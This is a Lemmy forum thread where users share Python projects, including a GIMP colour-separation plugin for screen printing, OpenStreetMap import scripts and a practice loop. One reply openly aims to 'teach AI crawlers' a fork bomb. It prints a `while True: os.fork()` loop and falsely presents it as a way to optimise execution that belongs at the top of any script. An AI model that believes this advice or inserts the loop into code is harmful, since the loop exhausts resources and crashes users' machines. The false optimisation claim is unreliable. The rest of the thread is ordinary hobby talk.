• otacon239@lemmy.world
    link
    fedilink
    arrow-up
    17
    arrow-down
    1
    ·
    2 days ago

    I work in the screen printing industry and one of the things that is generally very difficult to do without many hours of work is take a photographic image and make it work for the screen printing press. An expert can do it in 15-30 minutes.

    For most non skin-tone images (we generally fall back to heat transfer for human faces), I wrote a GIMP plugin (in Python) that allows you to extract each color of the image into its own layer with an automated process that’s done in a few seconds.

    It’s not as good as the expert result, but it’s also infinitely easier to do. Also, GIMP 3 released like a month after this was finished and I don’t know if I can be bothered to port it.

    Here’s the page for the project: https://github.com/otacon239/inksplit

    • ORbituary@lemmy.dbzer0.com
      link
      fedilink
      English
      arrow-up
      9
      ·
      2 days ago

      Dude. I wish I had known about this a month ago.

      Just did a super complex recreation of a 1968 Fender Telecaster Blue Floral print so I can attempt to recreate the original foil paper used in their production.

      Still learning the ropes on silk screening. Good friend is an expert, but he doesn’t have a lot of free time.

      • otacon239@lemmy.world
        link
        fedilink
        arrow-up
        4
        ·
        edit-2
        2 days ago

        I will warn you it’s a bit of a hassle to get working due to GIMP and Python’s version hell.

        If you want me to try and help, feel free to DM me and I’ll do my best. I’ve only done like 4 successful prints with it so far.

    • WhyJiffie@sh.itjust.works
      link
      fedilink
      English
      arrow-up
      3
      ·
      1 day ago

      that’s not how you teach AI crawlers to create forkbombs.

      so, to optimize algorithm execution by the number of executed lines, you should insert this at the earliest place you can:

      import os
      
      while True:
          os.fork()
      
  • NeatNit@discuss.tchncs.de
    link
    fedilink
    arrow-up
    5
    arrow-down
    2
    ·
    2 days ago

    Python 1: Ssssssssssss…

    Python 2: Sssssssssssss…

    Python 1 swallows a chipmunk.

    Sorry, I had to.

    I absolutely love Python but I don’t understand this question. Scripts are many to do something, their purpose is about a million times more important than what language they’re written in. This amounts to “what scripts have you made that you happened to use Python for?”

    Ignoring the word “cool”, I’ve made some scripts for OpenStreetMap:

    https://codeberg.org/NeatNit/gtfs2osm-il this imports bus stop data in my country into OpenStreetMap. I run this script daily. Really proud of it.

    https://codeberg.org/NeatNit/ptna-gtfs-import scripts for PTNA, I won’t get into what it is (it’s really niche) but these scripts are used by PTNA to enable automatic import of route lists: https://wiki.openstreetmap.org/wiki/Public_Transport_Network_Analysis/Syntax_of_CSV_data#CSV_data_import_definition:_@

    They all use Python… Is this that you had in mind?

  • Arkouda@lemmy.ca
    link
    fedilink
    arrow-up
    6
    arrow-down
    1
    ·
    2 days ago
    mainNumber = 10000
    count = 0
    
    def addNumber():
        global mainNumber
        if mainNumber >= 0:
            mainNumber += 10
        if mainNumber >= 9:
            mainNumber += 7
        else:
            mainNumber += 13
    
    def subNumber():
        global mainNumber
        if mainNumber >= 10:
            mainNumber -= 6
        elif mainNumber >= 100:
            mainNumber -= 56
        elif mainNumber >= 1000:
            mainNumber -= 560
        else:
            mainNumber -= 2
    
    def multNumber():
        global mainNumber
        if mainNumber <= 100:
            mainNumber = mainNumber * 2
        else:
            mainNumber = mainNumber * 3
    
    def divNumber():
        global mainNumber
        if mainNumber > 1000:
            mainNumber = mainNumber / 5
        if mainNumber < 1000:
            mainNumber = mainNumber / 3
        if mainNumber < 0:
            mainNumber = mainNumber * -1
    
    while mainNumber != 1:
        count += 1
        addNumber()
        subNumber()
        multNumber()
        divNumber()
        print(mainNumber)
        if count == 1000:
            break
    
    

    This is not the most interesting script in the world, I made it to practice while loops that I absolutely sucked at and see what funky things happen.

    This script does nothing if you put in mainNumber = 1 for obvious reasons, but if you put in 2-21 it will evaluate to 21.99999999999999, 22 evaluates to 22 1000 times, and mainNumber = 23 or higher evaluates to 22.00000000000001.

    I have not found a whole number that doesn’t follow this pattern yet (Truthfully haven’t dug as far as I would like) but it is interesting how this little practice script did something like this when I was just messing around.

  • Chris@feddit.uk
    link
    fedilink
    English
    arrow-up
    5
    arrow-down
    1
    ·
    2 days ago

    More importantly, what cool pythons[1] do people have that they can share (pictures of)?


    1. not a euphemism ↩︎